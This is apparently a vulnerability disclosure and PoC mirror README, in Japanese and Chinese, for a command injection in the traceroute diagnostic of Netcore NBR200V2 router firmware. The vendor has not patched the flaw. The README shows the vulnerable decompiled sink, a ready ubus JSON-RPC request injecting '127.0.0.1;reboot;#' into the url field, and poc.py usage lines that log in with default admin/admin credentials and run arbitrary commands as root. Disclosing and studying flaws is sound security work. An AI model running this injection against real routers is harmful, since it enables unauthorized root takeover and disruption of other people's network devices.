
CVE-2026-94095のPoC。Netcore NBR200V2ファームウェアにおけるubus JSON-RPC経由のtracerouteコマンドインジェクションで、認可されたテスト向けにroot RCEを可能にする。
| 項目 | 値 |
|---|---|
| ベンダー | Netcore |
| モデル | NBR200V2 |
| ファームウェアバージョン | V1.3.241127.071246 |
| 影響を受けるコンポーネント | /usr/bin/network_tools |
| 脆弱性の種類 | OSコマンドインジェクション (CWE-74 / CWE-77) |
| CVSS 3.1 | 9.9 (Critical) |
| 攻撃ベクトル | リモート (ubus JSON-RPC) |
| 前提条件 | 到達可能なubusエンドポイント + 低権限セッション (sid) |
| ベンダーの状況 | 早期に連絡済み;応答なし;開示時点でパッチなし |
Netcore NBR200V2 ファームウェア V1.3.241127.071246 には、traceroute診断機能におけるリモートコマンドインジェクション脆弱性が存在します。tracerouteハンドラは、ubus JSON-RPCから攻撃者が制御可能なurl値を受け取り、それをシェルコマンドに連結して実行します。リモートの攻撃者はこの欠陥を利用して、任意のシェルコマンドを実行したり、デバイスを再起動したり、システム全体を侵害したりすることができます。
リモートリクエストはubus JSON-RPCとして受け付けられます:
POST /ubus {"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"<attacker-controlled>","max_hop":1,"wanid":0}]}
ubusメソッドマッピングは、リクエストをsub_401BD8にルーティングします:
object.name = "network_tools"; object.methods = 0x412f4c; "tools_traceroute" -> sub_401BD8
sub_401BD8はJSON-RPCデータを解析し、それをtools_traceroute()に転送します:
blobmsg_parse(&off_412FA4, 4, &v21, a5 + 4, (v6 & 0xFFFFFF) - 4);
...
v25[0] = v18; // action
v25[1] = v7; // url
v25[2] = _bswapsi2(*v8); // max_hop
...
result = tools_traceroute((int)v25);
tools_traceroute()は、信頼できないurl値を使用してシェルコマンドを構築します:
snprintf(
v4, 0x100u,
"(traceroute %s -m %d > %s && echo \"traceroute ending\" >> %s; touch %s)&",
v2, *(_DWORD *)(a1 + 8), "/tmp/traceroute.txt", "/tmp/traceroute.txt", "/tmp/.tracroute_end");
system(v4);
この脆弱性はpingの問題と構造的に同一ですが、異なるシンクと実行パスに到達します。system()が使用されているため、;、&&、シェルコメントなどのコマンド区切り文字が有効になります。したがって、この診断機能は汎用コマンド実行プリミティブとなります。
POST /ubus
Content-Type: application/json
{"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"127.0.0.1;reboot;#","max_hop":1}]}
期待される効果: ルーターはtracerouteジョブを処理する際にrebootを実行します。rebootの代わりに任意のシェルコマンドを指定できます。
3つすべてが同じ/usr/bin/network_toolsに到達します。このバイナリ内の診断機能は同じ安全でないパターンを共有しているため、単一のエントリポイントを修正するだけでは不十分です。
開示時点でベンダーのパッチはありません。暫定的な緩和策:
技術的な解説を公開し、ベンダーと調整を試みた(不成功に終わった)独立研究者による開示。
本仓库为 CVE-2026-94095(Netcore NBR200V2 traceroute 命令注入) 漏洞 PoC 的中转分发镜像(英文技术披露见上方 CVE-2026-94095.md)。内容依据公开披露文档整理,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
/usr/bin/network_tools(traceroute 诊断功能)POST /ubus)核心原理:tools_traceroute() 用 snprintf 把攻击者可控的 url 参数拼进 shell 命令,再交给 system() 执行;url 未做任何过滤/转义,分号 ;、&&、管道、注释符 # 均有效——诊断功能因此变成通用命令执行原语。
CVE-2026-94095.md —— 公开披露整理(调用链、反编译片段、PoC 请求)
poc.py —— 可用 PoC 脚本(ubus JSON-RPC 注入,纯标准库)
POST /ubus 与一个有效 sid# 已有 sid:
python3 poc.py --target http://192.168.1.1 --sid <SESSION_ID> --cmd "id"
# 用账号口令获取 sid(弱口令/默认口令场景):
python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "reboot"
⚠️ 命令会被拼接为
127.0.0.1;<命令>;#注入url参数;reboot会直接重启设备,请仅在授权/可销毁环境测试。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以设备最高权限执行任意命令(默认运行于 root 上下文),请在可销毁的实验室环境中测试。
LICENSE)。